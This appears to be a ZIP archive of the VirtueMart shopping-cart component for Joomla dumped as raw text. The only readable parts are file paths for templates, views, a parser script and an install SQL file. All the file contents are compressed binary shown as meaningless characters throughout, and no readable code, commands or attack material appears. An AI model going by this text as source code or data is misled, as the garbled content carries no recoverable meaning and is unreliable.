VI&|m7>˜@8%Å%mA :?O]LKShP:47bz0}?/ﯧr%%)i_{Q&V{=X Ԫ A3>/|Bk0woKR͚2^}\!W~3{Nq=PK|gD{-2<7components/com_virtuemart/views/vendor/tmpl/details.xmlTN }v_+C[,lU!8JmE^ ]VM4Sy=sI߬!p^7uNOO(z(]?ç3z^L2 (DYLHXM5RΗ .+q˯e;Qj:_D5&td|";jzIW"c[$aIΠͣDTK ž3wh~tih;gTS&յ$665hX鐁GFFV:iIcomponents/com_virtuemart/views/vendor/tmpl/mail_confirmed.phpSKo@>0EQ !%$)B*Z1^a> Mȭ=Xkώv8Vj82)BhQ3(?g,RKmp¤.ʬ˭ /1̙< Oku\p88hG@N%X w7EЀvuMZ[p$UDrs 0UuGȍk'ֻӕ;@!xL'O>r%"}`bQ*.RرwaH_"2#aiS-EfMbnZAL5/MW4GaseTʦ\PK|gDΓ\dBcomponents/com_virtuemart/views/vendor/tmpl/mail_html_question.phpVk0Bpqd[줥d) m0-%-#+I}zsea;G̢ܽ1M >A߮)9w|tyq|t|ԍD_7"n.1HE4< 0u3!D+y[P1i(Ia >:^N'R잌c/`,N0܁V:7 2N` J˄1d Ō'ۧ uZI4tZߠ#6'|19o鑗:(CوNmx˜K#y!4>a:] Y΂S*CG urla,OX;dLKZ9-<ꨃSqdSSf]AֺBĥDB\P帥# jp}:'T/I_;%?YjX{dum"uKݦgϛEd"=kKu[-o! Yppbx:&,XP,:;{i:v $Hz֙e% J˛m٥ZI0^izMsP#H1zw<4S?<W#Nr]"s1')f|`)JH̓MKfD٤N:k@ۏ} ض2 h/Ȯ5lAQpT` Cib:I?ˬW=]/Ous_?ٜSCo?נINvO[!K9j/#WR۔ ]~4`#acpPK|gD?۬zAcomponents/com_virtuemart/views/vendor/tmpl/mail_raw_question.phpuj@a$y-[B$;f7lǯ)138󺬇EgmHk~KuLi pekI_~:mj?)L<3{:w|ٓ/u3y$)6:Bs(dͨo ]&bBs`8RaDr4N65IEIwXRaPK|gD!_<x3components/com_virtuemart/views/vendor/tmpl/tos.phpTmo0L~UE@metEUVVӦ)2ɅX8qd;P4B҉!sY9^Pg˴x`Xy8fU,1 ,7TpˌX`a = zZebl<60|WpClY7!hՠPZbnL52ܕjYpc8oZb86.!)j22+ЅiLkK2HA% d#!d9KC#hSTLm>#pQ4\S'4y3DŗpbZh(TIRژ2W3.B}zxHCralNpӵmw.t?{ǟO2Abizy0F ؜0(NRDxxa_~r&hS lH,PZ98N?KKu3 BWՁSA^ p9Gf?\L]L]ZA Y>}mB?e 8A̬t.h :jQܪۇРdr6dVZ'%G$pq+OYSfCS@)TeGp]|^7]t^15^ r^JԷ6԰PK|gD|(3components/com_virtuemart/views/vendor/tmpl/tos.xmlN0)`qH6H Y&ނ%; DZS5T§d3FNߍ&[NUJ//(^R^g )Pd#OG"AR:Yٲo˂?wWG^,VFePpN@'q1^b0W,a;(NL/0eֽR+j#9~ơxoZMה2!C+MSWPVYl 4>a!)ݷ-T\IJH ~4^RBB7 LΙ-A,O*瓢O V, `1OƷ0ւ+ ţoj ڱzBB:ğcQABuB{md^w,U_GMpyl>T'B84\fyN:qSNł}խvˡӲ;)At)m~y-ۈuׅgqo&<jP;ѤR4}E>m̧ab"v[|g8lwt ̴ğem@|c-'7!azWK&'_-U\~klx U&7Ӻ}Ewҙξp2m=%dV| ͵VQi8*66*uj/~o8@*z.빍stqGǻ.- Zmeo4{Ώ[a{6;w>Ԩl}WTV狨; SpwEHtoQ4_yO$͔{O>؉thWvOڎ`4>jI]:tO^/>ߣ^*-C3{N8*x(rj#^1= C3j4k%1 aX=Ipl|6[A`hmOƴ~-|E_]z.be}[u$t]٢PKhD+components/com_virtuemart/views/virtuemart/PK|gD#o$,5components/com_virtuemart/views/virtuemart/index.html(ͱIOTHJO/URv%;}PKhD0components/com_virtuemart/views/virtuemart/tmpl/PK|gDpJ;components/com_virtuemart/views/virtuemart/tmpl/default.phpRmO0L~"%ڤeʶcд/_nN;4wNSȤM(R^2/h-J+TQ?,Y 2mݭMXesݟrk86MVTXW&|"-_ǃ 3+̐B(%ԩ4k.`1+P,r8Se spu= z<{N{ ( Ji a!O`Ş gk"@eM *9:45p_-)Ll{ j,5\$h09jfVJa@CUP m'EIz+JiP%6ɫ]WSztc␲JZ݀Yj){p{ۘ7+ImdrYvv!n9#7 `;)LhnBcp.`-hHz˕b5'xyKla^lMhtT@X9hl*[qU &j~GPOPK|gDpIGFcomponents/com_virtuemart/views/virtuemart/tmpl/default_categories.phpUn0 }5:<57Y6X!͊`6 -CeC};e"82׃ 8l=udBp[2m0$a O*E`-X M0} 0!}[Z6qD3ȟKM?NdhgghY סTro tҀ0/F:!|XxA&|ZN<#)I>qf3}᎜|)O\!*J1l*7Fs/ȓ 9k^Y?@t1lWYZyҹ[o)̔5]wqZMè;|KðaT2{&"[҂rٟͬV^q\.Pɕ4 g "G2䨬%lj2rj YQg" ORPL%'AQ%Ch=zŌ>(RPpA%*a081')Vҽ'}@pqw*U{$n{B1˝me%0c媦bV奂ވ:M5ELdVS)AmsЧ6 N>5T $sb_jwTPDajǜ2No _r5l1<Ui4x&)wpGXiO-HvNͨ b4]Ø@AHU$KnZbj:s2yE7F= u4WTL+q ׁ?^<}x͟1DFe0'1$ED̅C]ĉIR ]M;[ꏵ$bdDU%O|ffVΩz<#T>q"dJEOcCal+6TGƲy%-:)KK [>N:6,›6 Ntm2*Y6 z%];y: ٕ3u$g ]YQ0~'<6 s:tGPXۣ*pSZa};~ />Q?BI[ 9mu_+y* Z$!uYSxT ]7k|YhR1wzRЧkoe(j-L{ԭCT0xh 8AiԾd!U<;JDϰԞa*:?]Kz+z%l"G+"HJHzPlAӞAp(qw3"c=^PL؄&IIsO>mܳ~Xӗ+JnԶ+]XKJ ximޭO.[ NҚ\ٸ 1cilb0P'e}8pߏFcYoeo`i PK|gD#o$,:components/com_virtuemart/views/virtuemart/tmpl/index.html(ͱIOTHJO/URv%;}PK|gD8<components/com_virtuemart/views/virtuemart/tmpl/off_line.phpok0_ϟ'!,l# %+e؛HgKD$k N=s/L2zT5Cg|Z|\v}]Rb֥Vf2.X C%ɩVX[UYWWaHУ;(8kbkba][&&m : _~;ۛH'C(&$y:v;DPB}t>2 Ab :>hR؞3|pj5PD6\G+)Щ hu{Ν,%(4]`ԫQ :$`<]|V-g~]/Z#rNpM,+KXId FiL.bI[k;fR(]^qW(?09œQs>2cQm]FmzQ|{i{l C PK|gD֪l8components/com_virtuemart/views/virtuemart/view.feed.phpXnm=DPC.iZRJr"ò r"W¼uw)89bgvIJnvZFbS;3|3;;ϑ_>(HM$] R/Ȃ3.c:"\jgP$tCO( y42JjU_jK>Z4fg WBoTO]rįC@ TPN=uh@мECh(G"=x3m|>A)\{ɠXBK9LrE8ڒr|.YRQBu IGPNrU)v"M C#oJu5m3N^Ѫ1+[QEl a~NChLTUbs="EhV{T2NONիɺY9:'p! zakTҶsL >J8}IfTb# Zm^_j͓pÕaXm4 9[Z 'I38G@''*6熎5naώ1i7evGÛwar&݌+4\RU\NhcS¤ZDE]x利unEe%ݣf =O*l[]}JxݎcG\!Ύ{R9U!sR3HtmŤW.pyNsxsnsT#j{w{HF=FqGB3P!ۻq}CtgZ;.02e1 ק!wաq{%\m{EdHϝLc?T]ul<ީ=}ĊZuc?l ~86QwlZwgZktW9_*$*/ƌg,8<_pģBk_=7m5:XTƅHzl֚C?eK;Skw2h~2# ݕ/ Q'(/SSl{_sEKn>0Ǒܹ qL]f r:vY5@իxj#eծ8I5 ̪o픪Q4Mo};zEt.Q & 1!~:R=%i-($v0(*ϸpIdpKVjsi+N Jl1'[C;Umd>PK|gD{kA8components/com_virtuemart/views/virtuemart/view.html.phpYmOH G\H.s 0"B4Xn_w;V~[d@sF㸪~l?|%9(KwgsعaB4E~oE7qGYH R&hK,{|!ɸ|rxx|ФGFqL %¥yBٟgqo!|rs%\OnO{9 9GʡGf |.#gK QA@f|8M~ђKq4 T GD}~ %%zd!ydA)b',˹_b,#xD*ȯI`2 ?2f/B?(~O6bPKG&RrXw{Q x>;}LAq+NrhYQAi(t1ƒ'd^]r:Ny;zw|v;9 3d?&9l/a4%:\I#2ZYl.YYrIQ f!g<bAHpyX J~XI-sQSOMPA d +3鳻/4U_= .Hfb8ʮFe %c\/>a,Qlv4;;;0CXh׮K nqpm? ('cW,҃ͅc1Sdu-byU]Q|֤4h3"EG 8]ξO%mK*%v bb5J l:b`DH.ZCf ڈJ JkڔsXʆC /8ีc t{hؾĎpNu\A<_kj^r[8?ݨaG't4wo~Vk] ʐGl!iK Y3Ggr3FqU]5~ȐSoUxf"*uv=;(V\7zUΈLQv+ QQli-|EWyJYS禓n^RKHu,ѦUVpk"ڐ 9 F}c k/6 umlho*i_n ֗u[q73o72b<_Ǽ 1mks7v۴SvE6vWml_khgTZoK6n[vvuͧ ~FFB͌yQUcZq/*=44LסAܝϤrA|?۰3Ƌr޽qdrGv`FC@2WUbZõӆDFp V1,K2CTsX<:yl/NUZw+#ǡ9Hٽ$`.ЩT&Շ#3p1qhK B)ѓ##[-;tʶ)2_q8܋) á皸zrsx6= 2qzJqq 孈xdIK#|M?}[zWx! Y+@5OOjaQO'-Q~SI}E` YFXTx@]t=1^\H|Z])V1:4M+M7k3=Y6DܽT$:ww>};3fz}m8n)nK]It` CW]EXTY:gbrbtD}LESZMGnU(yXi Ӄr<9DcjT[Wi]5 [|)nt- ިxUhZL5hj+ڇryBTR#$ ;A u/EA?dbwbVmE-Zj?_l6 +vGyGk; ֯TZ["0~#keE]xg.]˧1 JPK|gD(components/com_virtuemart/virtuemart.phpWioF,@Hƭ ˉ ;v%=kr)mͫKB޷KR"%%=m ͛ߥH.=y b/G?5 s!iy\) 9{x"|8$ʼn&#|}|}+.Hb:}Z 31;~};}kޫ^ftbE{` Nw5neݗ;^"]c^&]k)KM͓;lBw)ݯI/9%}gBie~$bJhufl ɾ+\qBYx8-NcggD.HRG!}cUt5OGUK@J$l2 [Ӓ8sOi&UbXx}\n{JW-b1 D@g&*c/|I#Z}.Ŋi}c"N Ud0]%nbs&1MMW[ڐ>LVQ$阛uLЄ^bA}L9} v O 7|p~=~?&̈́:t>?gS]tΧg_r3Ri&ϟ]q|&,r6*rm_g PٕsyⅻkLx~޲҂kQ$ 5O '9^x[z'/=5's8er*vF*xw=g2Ž"2ub~5.M>T1'UE!7zbX%,)G!05 ++h@xXك4гa..SC#dDDF x:˯QA'k2 T[+44)bO3v^P 6;f8)&v7waФE$B]rXqZ6BN2Qz4 H36@Y)qkM[ Hegv?hoC\Cڰ\+% !,k=  :f18aij\@ZӺ2HSP>3(8qs\FBΧMy[^[l@q>CQ{,fNf0Ԭ. o`4֡gϭK5HE ЅfEV& vsK]<3u: wIjf'@p:Ûx2qt=g`8M&FkqAg ?˦V=#lcǢFi%/ľǁtVe4t[ f *B0k_{zo薫;HU%| opyiWN(VkNP |Ӎ KYjq92$h2&G9} PK|gD32/components/com_virtuemart/virtuemart_parser.phpUj0} 0ƐV#w!3ҽ"^s>~\MÔ$Co vm߽>L(H#ﷇg™y?]z懳ά̀jZgA>}#CKH0%&*b$ψcyљk(ZBrfRLgbq-v3 w$@x݆en/iE4p<6;za$ Y@N!6~}XXX&O".YbI<[:OQT^ BSW%epk'׀PP4"e|a"4 u@th -o1_@$1uD) `U˽  ?e\O0×f) L2/ܼ AaՇuƏ"p.Lf_ ]RuAUMZ3kJ@TӞ$e<VO>^Y P4 : tN˩\)O̧|:3\9W#mB ]?ŝO)!ݡo$O;}&}^O͜4)YŰ3"OkE%_л#锖D Ҕ*AceS0d>;%3ĄĆ)ن=mՇCɧhzˤȫںH/o̦$&#!E! R+Qw\"4MĔ_0Fʾ~ϓ9rĿO\rg417R~Mޖ+kEh'0P|Kٵ?$+Y9+js`%}3Lmn#V34\O XNK@Q>g"壟Q~=ik5'89텭byl|Ar)1I$=‡Vwx~h|Mɚzm')*N!x:iOj'zwiLl3 a3f;` %" f(a4bp2OvgPr qy#|4#4l\@ $aG hFvu i0 ;_}fPdE㻗[^,Sk)c 5 wA̗>fRYj !QfMnswٹSw0rxo#[Eߢ5!V^]3`fRqOjwYxpo>ۑۙ9^ДCIQQ-AQAdo0q'[Sd'4ϣPy{dD"]+zw #xFZȠb8N޿[-IB`'7Y {zS>|SZ~Jfif$qg氞9&*:S+jH}OށYb܉@y6W݄dysXJWs>+ Ag@oYw(rЕdo}~+)% ;D~TAw,4ᏈV$#2kvZm40ƙԝg ݬ& ΉCt'E hDMkwu88~j`l'=IISlò F2'3EGe/IX&])w n*Fjx;d%zW-J<%I_6&%ISHBxm{+X/Nhߘa6HR>ЀmʲB9|wwQ]h{ߢ0Xɲ!*)JZEE}Qdŭi@ޣhvbSf< ٌwabA.Ķ#{fadwMHB9ؖkUߟb-Q/%تbyt,:U" !SO(8 KE\˂:ǴGֆX),E޻kuM;؂fIMy&5gcPj15Q>yyYU%9Xl;b4M̬n1X5ϤP]V*ɩLDRwDF2hH3;_6(3⢲h;d~̘}Wx*\%ܸJ?8X/kpҿ''" a¨d*ҫvkU!Y}^IrU=0'(-3&),q'u֥ˎ Ȏ3' S3,W.tRv0y=l4Y0-,Z. ;[ӂxIre>H\e2PߐKW=qR$VQNb͛'ҍMDrZr5vF$k,JM.m[k4[ b잚t "_<شaυl.$+~[_r" إzn`}fuH;qGuGekliz* Vi{VK5Y5ʬ~R.n-f/I zt3flI| ILZ]8+o\Rwc%|Xgnk ZpmGʪPJS+G{w.73 W\Kf_sK޺7a|NSҽBZsKsdN@RV'_i#OІjȮB.莺Oa(eT!٫oA-vZIt@<g ER ꄒ1UYA´W9[%b뿱G̈́:$ HyR8mx[&rd|3P կV9Xֆ&H_]ffςi5LO},"Ve5͝\F85WO2FM>%zvFx zttfq-cɳ|*bgK>?ڎH(0tcFRho.E@U(cQCORk*Eʶ/uqZjQ2(ZBCí{;U&_&ٝ  d2HJF:G5N[ȥ=;*Z^!a8DY`e/>IRDӫLO'Z%Sx0z..±ѥ?g.\U R=[fnkp_^|nHk H]J.JS *D aIFT:~8TWAYӡ95[W4&W.kCl_RN^c M,-rJHyL߫8~CY| ~OkxE%[ [z^5~wJ$*OUSR7G;<MrY1xw*oV~99Nj9aR jyKu^Y#rG/nF(:ZJɽX)$)u@SX(5 ڃ0 E{H CV2QRԽaW[] gt)؅Ѷu%GT2Bؚ:ZZxKAv/-IMGXoWcg56r?#^|zO>NmZ% nVIS;aJ<}6[|Jo%~.*ȺG26આYZْ1DoNUgWV[8_)s)֣#ȍ.i$< ,BPK|gDx- i2"install/install_essential_data.sql[Yo۸~Kep[Ix60cVۈTCR)A ܎[K"y6~g[Lp.A-3F̎h5e虺.>#0%abW->_-⿓IjtGW+טB|OA@IĩRk3 Rk(_Q#~ 2F{^.4DԜծ@sF^.M##ۥ/퐐|v1wA5xg_`~`6YuR LzfY <c F%u6dDS;aܘC]Ƨ #0_f\0rkQ O'cOlp#q^P1f<^Yj%AaDmb=cnaKΒO KcaM];v1ЄsfL V~XLd0-$bUfݝfH3j؄x[SN,Ʊ46-i ;BYA~3>6aۭ<`MHD ,aO4 qm9YE`򁒖$Q:Rbt2.Csi k ]~mG6:TrA(@*wD;8".68%@'^GbtC؉zm#j7FO3'y3Ck7$6NEC:is>kҎl9|tB|L%@>@Hx*!7}ր&NmʊtNHf|%~/́\4 ¼ ^{U Mw! rjđ4Ԭł<K^dہ}wНK|sıDrCHx J .gKcP2ļ!m<\J;9 .N YOdCp;YNuκI?X v!Ez^yJ#Ί0uxr Υ2e4o ެruu , ^]z+-mTJUZrgɭCTQ ǧmfTN!A F6\H'x`Gd 4y}࿓ih(}j' Ž>`dݰVOkX T!oC<a "Ea[[-} L!;h)*y])E2WT-d^FҫkR(%O.ZA#K` ٜ(F ꫽Ok Г$1{!.H=pD|; 4j'BR,PB䈨4 &fޒFOp̔U"vHDG* :_ b}%u \>'6'8`Hp(,x#mTy#2,s ?A#'~QD) &>L-Z9 ? D<7×t㐂j [qCt; 3j VG,) W%Ku[! QQmPXeI. )A6Je]- m'Q51%sIӋ_d83g'iMB)Nx 3 Dpy@J)xyCͲf8BΑ$0 Υ/k ~j7 'J,4omQgMG4rVIJ, ˻R׭6W ""Tӡ6TvBĨ#bhWDBcQGC9Y-l崯t<5f%xo+Wr吟D_a|D"I+ ؍8vS i؁|s#&b3ylYJY `Xw$}`t0U.l,dQmj^CI.89;mLrDO5tx׿U0Oo[gD~wI#kGĩc7.Č=[{{XbieleJvΎeoKnc5fxj35*,s5642g rqfNEW;zzZ{z #}1 M /o\B_zu,u.2rP=8_rShgb#y-xp+X+M[eUK~xDf ;ĥJ]c8vLlyaGlfN-:܄`z]+#NfΖL44usƈKW_CB'GG ϾcYk˚ x&\~cw_ <_;NǷ4rz+#|_x/sq ±#yo~ ,{a'>ĕ^6^^;ඳA~異27?##o_As^V 3StYi,Fν/gc%q_w ]޷8 ПA;,xߚns@Tk6;v?<tSax8XLNkkNOމoi0cD5-ꄅR8cwσh "И1?z847LiKԼ-3va}0v2a̘7 @=%+M9#v0z k-Dg@yC\$ǿ= "\Uk4e´_xp7K"#Pob_R $O& ڱfz̓0xЮetw|~µex^;*exxqyYq:xd9J揃0\jUut SzFxQ|)Uj /V0UUN`=+l[{>ʭb*=T.>ɂjL#8rmkyp4deC;!^0n~/TQ^|.M=9̖>NAv5*3lwD 6&^0Um-y>I+?IHw6T [2Ou\g1xsB@=LCu\E\"@zu/*~rqxT)W*NQs}sPF&\P穲BLPNQǶS-狀$z:S-/8` m6=SR/o R~ht m66oO}9]`#?_ >;#EH} S!J ;ǺB,R:_rm~)oN 4Qc0>>\lAxB {xY "V &zlLdwxT 9W6Y1*J.Vt_ >-mQ6ċ8P> "m-wDgO__a;vOK7Nqb? &Jމ|@_P 7GlǦ &J} ~G .YyfJCxYxbj6qn&&3~;0a&=%p:ZoCNH4۔j`SjeF2]22 ^/jw7ǔ`J@bt"VlY?ҒkhҌkyw̰}P̖XzŨ`#g\ ۚ'(ߢH[$naZҮoEw'PExrq&V}m$`&'{z ]B i1ە.^(EI rm3!SڃmX,+Pmix}HMkO ן/\:^(%-&hBiW\nWD!A{^(U|:e uHi Xkl!7D$\mNHA~dN|"SfPJˑk.A/LpA9>>i4$cqUYڍ< fLy@GPJD~'VKq(mu#B-ck|2jwU:ԐV\bYW%tYWtNB%BW \[NRoL64;tAV %mE!q:].$gȓ,\b@+d Hi9vm6ʘxAR_x:Dnpi?K ܲ\EЕe(ㅞSw3©kㅦ2P9>mB+ 1;8fŹ6Di3vݻFMq9E#I=TTMprԬd9խB焥Q Ua[uX4 ׃ib. %, Q9Ft4'+wh]s]bKiCPuxT=vO]ʀGT) d&6̰Hgh4O{,bh!ԣc[!=*bak؛xSC"J -F UDMQڋ4K:{!=d4{.1K`&^(UMF/*Fz@>ZZ`&3 }ҠG󹘔$CS6e./9~ K~t/XfTw[ /%ӷiUwhHKS =n@ؾVlauz5+_uĺt*Ath,H u'yh9^(-Gc(h)ㅒQ8R7qP;vz!+9rdQO] %Mqs,6iIԙrxJ0*I‹3Dě0uLdupq!5Uڦ$:uOiMފG8e{DU)TLFq_yzI Owz[3Z;=sgUVlūƎ;uvp!H}#ӃQ5栝hyG WZ%IW} u>O3ũsl Z\6njd BWBc/ZL/ևDwxשuH*AӀ6屻GP"j!#pRe,ET5^ uakP/5ѐKNeJCjCTi=watqrtderP1F/y+:bzU6)=7="Jm2WCZ|!pMXH  A^Zʇ = +8\ gk4Je|Oiycv|FR4GP"j]7#B ̥ 0aL$[48+#'-`ݢNr{!H-d[Tv8R½}fvao/J15pZ.\U*B9y.!ܬ<ˉ(9wK/;PCn}v2 \t [dxAltmd_`Wr|~e4a{[nbvLS?ݑǵgS6r|rKIE{~= ?4-%(8wN`'s /ϖS 'H(ĬJAbݿ@n^oc7?`m 8N?Ŀxw{-4"~of!rϜ%:았 $>斪sg.BHJ~sKQR8Nqw"fyUc hDiH܉ EYh1^XرX͉MR&m~ߒr'Dž4N=\\jשDžh"6që .J>eQ&.KShx0nj|Q)$w^1N`E>㤘ڷ`_RjoM,+{SǛ[3CY+ӸT6+5RQ*֒d#0+Mݹk\s\Q<ohaNz,.⁘C/xmp)rj:KZYMZ!R-+TWơ^W Plb,sSb~,v$C,cDDe SJ]+i#VakP8!7t{Eb =P\l0{0-S=<`/ᰚ-yKc%ϗ\bH,A²J .G┍ҳgL?RSe0|ljk#MESy >]j-Y4BNÍriy)ٷjZf VImy6StJ5 ؉ca I60(,u` OmR3Zy2. QmB,7KGV̑]18`5yÕ\F9]-+93}=UFF_)Ǧ;>  "un\\%!l^\5^rGFw퍟Ù]\.gLp22Innn3MoCƳ<UJ,9<\Ac6ٙN e$OAD: X=rư(VqI%D\r7ˆ Y]U".!hݻ|~ٍiن])TnpѡIx4"(-϶+7qo7)H!/q R78BH'ŰRUjtGKNn$f2Y70wv],‚&lr<|ξT0[uڄƉ3)$-^w$xlwju`SaBP9|nV:W<-J|@^Q>%yM?Q|88k6ʒg{.8km~4y Y9$6ʷ0y}NB15_׆GLmf9r1`Eoáìhu^1'?@g[1xrydLE<`y.)pۂWf$@Yǖ: -I?{u(^~|c?q]]mقv>e3.FLl!oI],>7QҞTҁ_yJmEyʲYP<뫛7(.XrGWl ;^Y9?c&9IA1&)quri7KqKMuܜFSVc(Mx]uNn᫛|,6tXBҏqsJ>_d[{5Je,-qߥN}] Kw^{0c+ ^ \qG`q݅9}sKxQ\X(5-Qg3cRș l555L17SlЉ$>x`+IxzWݘ.;Ţ61'6B&T3յZEEZ1ି<,}<-[*NE 7dM8:56ḵWABEpO+SƤ-ɻI c6ް%[n|Wv8{42D v>{? z8{cx9 !oky@Xi5-oY/>dcƊvc\CP6arx4VWu7,;#ژ '@?nc6';h䧏yKOzV]tY\n|Kq 6:Æq"6z)6O\G&3J<~qE  6r]˫9@,nvi̴{}#`o')B=<:kl8p.,]\1n!t&^0U1bʫqNѯ䟓VJ[2;xE94dل !F*͞.˙I_Ӈq^|'5l1Ɩ:eV&N"PN8>yn]LXG(AMG+3' op,G=\J`[nU{nX粘KuΦQ;Z\Ao~{x#-KXo>ql貅;ВY0x>a'>|uWb=s{rp_o^_8[Or{\~Sݢr^Ggodr7̜af(g-8]=nhW  d(|-QvRT6ЊPs.'؍ J4hPRp*F cuH$cdRV0,Fͻ7="Y7h/6B;;x`W NSo 36l`2^fcSX 9F>jE/1vÐE5b3ah )b*vrbJZC _ˆ mlF00t"̪هS:ip^`>gI4w㔱>PȰ& *f/z*̃ü]/ a>y " "BB"P "h0c=ԭWAIEpƔ?Lvz]c5n}.;zadWaܽ@ pՋ\ $bnG/ka"]RjUYLn͖^]NoWhZ GM< {`2~;rZmE^`<=8/zWbzhVdOb+$ٟc^A]$ :ف:h\ P+azӤiE^E8`X.ou iDB+cw89Y9g3 @]s &Xz2|- =* 9bBF}|㄂۫7L@oF Goցnꥭ|?1Mܻ89ʧ0:Em!*%e' Ի OrChDkH i$$u[8bzL)H4r;E4Į*;lK +~Y%qt5 rkn:(P8k~L7qi^>ڙ}"*8QfL)TB&6F.:vˈ17<`|8Hf| {2bIsxsx>Zx`C"g5O"8X#i[9B*ݡ]jPLNf莇{fT #75gMg1dLu mͽܤ |3D)6%,w9 -a4tøPsc=97Q D!t(((d+[3#iF܉dCغ`I^~Ksi2mtF*x&-c0g*xh1t?́m>6y$u=:BV$ȥNTκMPb.M79 7qY0{0Йp47[+d8;!%Bӌx#0(9Ҍ8x)iLI4#|P Oz "I!o)8.I14ib<|͇(s &ţfG(jҍe<Rv2C\hvΜQ"VgB{S}]a^&\/݊UNw+lpxw 9ϩ/"CaLƫy(Tx(&:+\D#a/pRr(l8pnpRyd}6x3ܺmZyaױbZ+\2 0] C0s;6m1b#NlwIQiX\)3EVPH9;sivn's -6F*R\^5s 3?28nl39s;QY|T :F]YW)vG#6ifj0U_3-Jl{AS /(FEs ! m_{_s v ʼn}V! Z"Us*vT;Ϋ8P^G‡wU4שֱ/HsNYG0B. ;ؕkk\PcSRs_h*)wONxcVfN(YW"ϼQNjf =dw5S)?|YUc?^>1{󼥂hu‹ _,sڪމ+Qp 뭌ŒGVPsT+clDEHBN 64c?[Cd+P@&_Pd"X nHh8 W u2 j}@aAΘ=J*v[Rzͬ8p Y'"[Y+&^4篐ᐅŃ6XI3\/]aC.C7գ9דW~X 'g$$]U5C(@ -e<ꁗwC/krP7?Tΰ\CtqK=2{5L GF[SKyLDj r2՜F.J2.7dLl'K3 aؚE҆v:f鮄\Rb# t6fwK<f%e䧡V|F]KzYB5cPH'kf )VNwrG6"{m Q:,VjX[!bÔ͞-KŪ\1[‰U/w1 b}Ii`Y 3reYR>nbfj^lxRkoZV31 )b\@6jʭmB0jfRQxg(`-fvv܉9k!beVGYCVxqr} [,[63^pwܒ*c^y ,[Ŷұ]9SCJjSss )#\tkꯩs #v8Ƹ4S3%,.b$"lSN=A#hY9 ;QHnȳY*s7)l{TA!C[z56r ុcڥF5r ! /{3F*kc*8F"{Uq^G3Itܓr:K t-3c(Fw& ORd͎e>:Yg} 5#01sZ4c0ү"td`cXn  p6va'ah)]tל})Nt:xьV]mMÎI\1a͇tb ; |a'p4ҵi>ї#M҄ȻuOjjgoӔodn2J+v*eW#t`-" m#h`]agqf k\aQ.GG37818%=j讖4KQ$fY)Od'l1b4Z0C -y&νs-Od O#;Ec5x߲i oap@sf*v ;BvQěxќBsRj_sTv'8۸<\b~vR>7i&C7t)7NyuAdBAHa,#z#nKFs>eyv1@S3 iee/dc;H[[C 8g /l:)C 7b Gsf*DžE2Add '8U^LMe&l͗ v0fY |`5a.S!w4sYAa,GTw 7ꚳOgv@ΦݑjlEf^0\1ͭoyqǛ0Qf"wlb 5]$MB y#Wj)3͕-lNcctB)[np9jUK3/inl:mE347vxrRhZG0 >>YHwoj%EV,;Ңv n3䶕ˎǍT$;yܶ,))qS}iv#i[izqj=~m+͍]h=DV{V/&h˻ke[intSonPZkb[iN78ܐV`Dty0iJ_,+T5ׂ]a_dw0*uqn4 8H3Ι &4p'⭵ sv3&'co3.uLac$K;̿ c̣u,[q8͗ Zfp2Y?l>q'81*HO& MZa>[aE SfH4uF+[uG!,mmtǕKKU:lEss 0Ρ`YB;b;%ŽZP9EC^Cm+Lre5M Ws=5ls ?&ޛ؍ BL`쒝38`ƦXK3a*>^4cPX%<72Z)#g;ckZ+a)ptt̜ca!9 Baϛ7qMĕWf&꽩(3;k-ft h4''BӞ"%Lx8 ;1玏ф-~o}~Ͽ`+MicpA Cb0 ;1 Zw;Ƃ_ƲV6h8pծM@y+@3Lʻ0ރ&ɭw>1oC?HulFG h! @OWy]p 8рw-hh#J{睬EiST܇k9WyyކQ#'/H# abN.%N3,WkHP;̀Lu2~ ZsDǻmګp0ȍI@NP3s*@!(@x+9 GRuğkUPA% *U { ];ҬTC eC"~R-B?|G G_[<۷ ;T]߁f hU-`<ñOfPMu?;@,ԕeS/N3{}+6Nw{" Z`SnWmͫj3*K =qr?NMHOsd* /cEi60xfL B#"|?6}jN`p7-4CQx-ڇPoyQjyLV#&܏h`[ۜA7y!W~a 懤H׭ي|jL $~|>-H8zl: ~w( 0熖r~wU@^pt =ЁN3 '`&'`nͥwt:E7Axf-:=hƓFu`/JAFٟq`?hQ|F &E<ke2,}n4V$~7O>/'_|x#~y?'?'0L-Vէ:}j h'?{鳁荦F`泀qLh8_~5YQY+~WS3њo| :q[#2[EQ߈~/ošUr1V0 u)`Z^#¼78|T bQT.v>Q7 9:mUݦFaS^W1NQ#;Nɼ诹k;g 75ʛu>:YB(kJ~974ZQȔr^иHyq񹣦{75JRJF+@FAS*O@NԴ0#D35Rqk.CΙLN(7ݪ0 C'`U[29*nωCYYWD 7@8z+T,Lg35qTdnEzڴ8ekg_:`e BZ9TUuic]h5̯|9/φ1 Fh>bBA*jX\'z&)̭,LW4+-h\] tPhҳ5 l |U?0` Q6dq肰FِUe~AsBCV?CLpSK2~+4x.:Fͭw6z(4+!Qc~;q#[Ȫ޵^a u(4иo Apbk:\FNuN0UC,^W(-9̮l}Ý39Xz(BLUԔ_У)CN0`=fM;9Tŏh zx} B4 S?[|\V^F a⾘KO.spb//WNd0 W oހ& Yc-yh fqL<9-/djNd0KW'?3^~S\ŗiY@<խ(#0qzDj(% }\9 /(3,s'RqvCЂAt] QX _5޼P`Ŋh,>c-|Fb}?cR ɼFbW9PUXAʣQ-4F cW]?A?@'{QXdy7`qU(M sTf-+Q\-ҮeK-&EV.p])݇e`FAa[+Es췡 BQ-h**>KXv)F9arCk-1tm:-FIaW~yFV)>V()lUR|ȁ|$?!,(0ŖތOV/x(QKW $G**F4F)\7,l&O?}j(FASOaWb̿b?5*~*_g!ZW=_z raњ3vQ0x= fƀ N:hv{kp."Z=_;x5W?GA/ z/l.xqo3,:z;~Kưޯ;/Gj%ȭx?{ݧ?y7>~O?ӧ񽧏?}O;O'?_fN&>|]>o#+>>~w>Շ;HA/~ o,ѽ}țO?w7Rwz):OsdU[ứ;ҕsѺ7.hKfꎾM} f >#l}k]>Ku[}1u/noMdS=X_  kWad܏7Awt7| 5-w*^8UR(owJ!ݽh˖}?~靸IN!{=}7q}_&uGW{Kѻb-}'oOw쫿8*iǟ}0w9姾Sa>W? x'$k}//(wV-N_t)YwNn3G F,I7Rwn;|b$zދy뽤*P~]hOdޔ|v\(›;ug?~rd|/%%cVsodV#ޏGѣ%YW?sh2GS 5}$>A{zZ}y $cꎾP ~㔔Dw{&N0u/2ibm4NE?'W}!|x=kA7 W^|?uG/Z(! "CIwp)~Aݜ/ ?1Kы+^#8XPq+.C9yɖ|FꎾN{a aYݯP[ᇱ8{glV}-o-S} 